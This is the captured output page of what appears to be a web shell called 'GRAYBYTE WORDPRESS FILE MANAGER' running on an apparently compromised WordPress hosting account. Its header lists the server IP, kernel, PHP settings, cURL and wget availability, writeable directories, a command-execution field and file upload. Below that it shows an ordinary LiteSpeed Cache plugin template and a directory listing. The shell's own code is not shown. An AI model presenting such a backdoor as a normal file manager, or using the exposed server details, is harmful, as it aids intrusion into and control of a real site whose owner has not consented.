GRAYBYTE WORDPRESS FILE MANAGER3104

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/ccsactwb3.org/new2/wp-content/plugins/litespeed-cache/tpl/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/ccsactwb3.org/new2/wp-content/plugins/litespeed-cache/tpl//esi_widget_edit.php
<?php
namespace LiteSpeed;

defined( 'WPINC' ) || exit;

// $widget, $return, $instance

$options = ! empty( $instance[ Base::OPTION_NAME ] ) ? $instance[ Base::OPTION_NAME ] : array();

if ( empty( $options ) ) {
	$options = array(
		ESI::WIDGET_O_ESIENABLE => Base::VAL_OFF,
		ESI::WIDGET_O_TTL       => '28800',
	);

	add_filter( 'litespeed_widget_default_options', 'LiteSpeed\ESI::widget_default_options', 10, 2 );

	$options = apply_filters( 'litespeed_widget_default_options', $options, $widget );
}

if ( empty( $options ) ) {
	$esi = Base::VAL_OFF;
	$ttl = '28800';
} else {
	$esi = $options[ ESI::WIDGET_O_ESIENABLE ];
	$ttl = $options[ ESI::WIDGET_O_TTL ];
}

$display = Admin_Display::cls();

?>
<div class="litespeed-widget-setting">

	<h4>LiteSpeed Cache:</h4>

	<b><?php echo __( 'Enable ESI', 'litespeed-cache' ); ?>:</b>
	&nbsp;&nbsp;
	<div class="litespeed-inline">
		<div class="litespeed-switch litespeed-mini">
		<?php

			$id   = ESI::WIDGET_O_ESIENABLE;
			$name = $widget->get_field_name( $id );

			$cache_status_list = array(
				array( Base::VAL_ON, __( 'Public', 'litespeed-cache' ) ),
				array( Base::VAL_ON2, __( 'Private', 'litespeed-cache' ) ),
				array( Base::VAL_OFF, __( 'Disable', 'litespeed-cache' ) ),
			);

			foreach ( $cache_status_list as $v ) {
				list( $v, $txt ) = $v;
				$id_attr         = $widget->get_field_id( $id ) . '_' . $v;
				$checked         = $esi === $v ? 'checked' : '';
				echo "<input type='radio' autocomplete='off' name='$name' id='$id_attr' value='$v' $checked /> <label for='$id_attr'>$txt</label>";
			}
			?>

		</div>
	</div>
	<br /><br />

	<b><?php echo __( 'Widget Cache TTL:', 'litespeed-cache' ); ?></b>
	&nbsp;&nbsp;
	<?php
		$id   = ESI::WIDGET_O_TTL;
		$name = $widget->get_field_name( $id );
		echo "<input type='text' class='regular-text litespeed-reset' name='$name' value='$ttl' size='7' />";
	?>
	<?php echo __( 'seconds', 'litespeed-cache' ); ?>

	<p class="install-help">
		<?php echo __( 'Recommended value: 28800 seconds (8 hours).', 'litespeed-cache' ); ?>
		<?php echo __( 'A TTL of 0 indicates do not cache.', 'litespeed-cache' ); ?>
	</p>
</div>

<br />

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
banner
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
cache
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
cdn
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
crawler
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
dash
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
db_optm
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
general
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
img_optm
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
inc
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
page_optm
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
presets
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
toolbox
--
July 12 2025 13:54:00
giriqfky / giriqfky
0755
esi.tpl.php
0.083 KB
July 12 2025 13:54:00
giriqfky / giriqfky
0644
esi_widget_edit.php
2.097 KB
July 12 2025 13:54:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF